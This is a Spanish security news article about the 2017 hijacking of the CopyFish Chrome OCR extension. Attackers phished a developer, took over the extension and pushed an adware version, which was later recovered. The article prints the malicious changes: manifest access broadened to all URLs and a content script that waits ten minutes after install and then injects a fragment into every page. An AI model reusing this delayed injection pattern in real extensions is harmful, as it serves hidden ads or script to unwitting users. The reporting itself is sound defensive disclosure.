CopyFish es un software de OCR para Google Chrome que permite extraer textos de imágenes, PDFs y vídeos. La extensión cuenta a día de hoy con 37.740 usuarios, que recibieron el pasado 29 de julio una nueva actualización que venía con una desagradable sorpresa.

Y es que la extensión había sido secuestrada. Mediante un ataque de phishing dirigido a uno de los desarrolladores, los atacantes lograron acceder a su cuenta de «Google extensions» y robar la aplicación, transfiriéndola a otra cuenta bajo su control.

El phishing mostraba un login falso a Google extensions y estaba alojado en https://chromedev.freshdesk.com

Phishing de Google Extension

Tras modificar la aplicación, publicaron la nueva versión del plugin (V2.8.5) en el repositorio de Google.

Los usuarios empezaron a reportar anuncios y spam en las webs que visitaban, lo que levantó las sospechas de los desarrolladores, que en ese punto ya habían perdido el control sobre su aplicación.

Gracias a un usuario de la comunidad de HackerNews se pudo contactar con uno de los administradores de UNPKG, un CDN para paquetes ‘npm’ que utilizaba la extensión maliciosa. Gracias a esto se pudo desactivar rápidamente el malware:

El pasado 1 de agosto el soporte técnico de Google devolvió la aplicación a sus legítimos desarrolladores, que actualizaron rápidamente el plugin con una versión limpia:

UPDATE August 1, 2017: This is the new, updated and SAFE version of Copyfish. For more details on what happened please see https://a9t9.com/blog/chrome-extension-adware/

Además se desactivó la versión maliciosa para los usuarios que aún la tenían instalada.

Los cambios que introducía el adware cargaban código Javascript alojado en UNPKG y añadían algún código para debuggear la aplicación:

En el archivo manifest.js:

«matches»: [ «» ] -> se sustituyó por «matches»: [ «\u003Call_urls>» ]

En background.js:

console.log(«Start»);

chrome.runtime.onInstalled.addListener(function(details) {
    console.log(«onInstalled»);
    if(details.reason == «install») {
        console.log(«This is a first install!»);
    } else if(details.reason == «update»){
        var thisVersion = chrome.runtime.getManifest().version;
        console.log(«Updated from » + details.previousVersion + » to » + thisVersion);
          chrome.storage.local.set({‘installed’: Date.now()});
    }
});

En cs.js, donde se carga el código malicioso:

chrome.storage.local.get(‘installed’, function (item) {
    if (item && item.installed) {
      installed = item.installed;
      console.log(‘Installed:’ + installed);

      if (installed) {
        console.log(‘Installed ms:’ + (Date.now() – installed));

        if ((Date.now() – installed) > 10 * 60 * 1000) {
          console.log(‘Now’);

          var date = new Date();
          var hour = date.getUTCHours();

          console.log(hour);

          var thisVersion = chrome.runtime.getManifest().version;

          console.log(thisVersion);
          thisVersion = thisVersion.replace(‘.’, ‘-‘);
          thisVersion = thisVersion.replace(‘.’, ‘-‘);
          console.log(thisVersion);

          var hash = «copyfish-npm-» + thisVersion;

          console.log(hash);

          var config_fragment = »;

          var range = document.createRange();
          range.setStart(document.body, 0);
          document.body.appendChild(range.createContextualFragment(config_fragment));
        }
      }
    }
  });

A día de hoy la versión infectada ya está desactivada y se han tomado las medidas de seguridad oportunas. Decir que sólo afecta a Google Chrome, la versión para Firefox no ha sido comprometida.

Más información:

Extensión oficial en Google

https://chrome.google.com/webstore/detail/copyfish-%F0%9F%90%9F-free-ocr-soft/eenjdnjldapjajjofmldgmkjaienebbj

Comunicación oficial de los desarrolladores
https://a9t9.com/blog/chrome-extension-adware/

Conversación en HackerNews
https://news.ycombinator.com/item?id=14888010

Francisco Salido
fsalido@hispasec.com

Compártelo: